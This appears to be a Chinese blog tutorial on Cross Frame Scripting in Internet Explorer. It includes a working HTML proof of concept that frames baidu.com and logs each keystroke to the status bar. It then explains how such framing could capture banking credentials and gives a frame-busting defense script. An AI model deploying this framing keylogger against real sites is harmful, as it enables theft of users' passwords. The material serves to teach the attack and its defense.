標籤：style blog http java color strong
一、Cross Frame Script (跨架構指令碼) 攻擊什麼是Cross Frame Script?很簡單，做個實驗就知道了。把下面的這段HTML代碼另存新檔一個html檔案，然後用ie瀏覽器開啟。<html><head><title>IE Cross Frame Scripting Restriction Bypass Example</title><script>var keylog=‘‘;document.onkeypress = function () { k = window.event.keyCode; window.status = keylog += String.fromCharCode(k) + ‘[‘ + k +‘]‘;}</script></head><frameset onload="this.focus();" onblur="this.focus();" cols="100%"> <frame src="http://www.baidu.com/" scrolling="auto"></frameset></html>當你在百度的搜尋方塊輸入字元時，你會發現左下角的狀態列上出現了你輸入的字元。二、Cross Frame Script 原理利用瀏覽器允許架構(frame)跨站包含其它頁面的漏洞，在主架構的代碼中加入scirpt，監視、盜取使用者輸入。三、Cross Frame Script 危害一個惡意的網站可以通過用架構套件含真的網銀或線上支付網站，擷取使用者帳號和密碼。解決方案使用者：留心瀏覽器地址，不在帶架構頁面中輸入使用者資訊網站管理員：在頁面中加入以下javascirpt代碼可以避免網站被XFS：if (top != self) { top.location=self.location;}
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
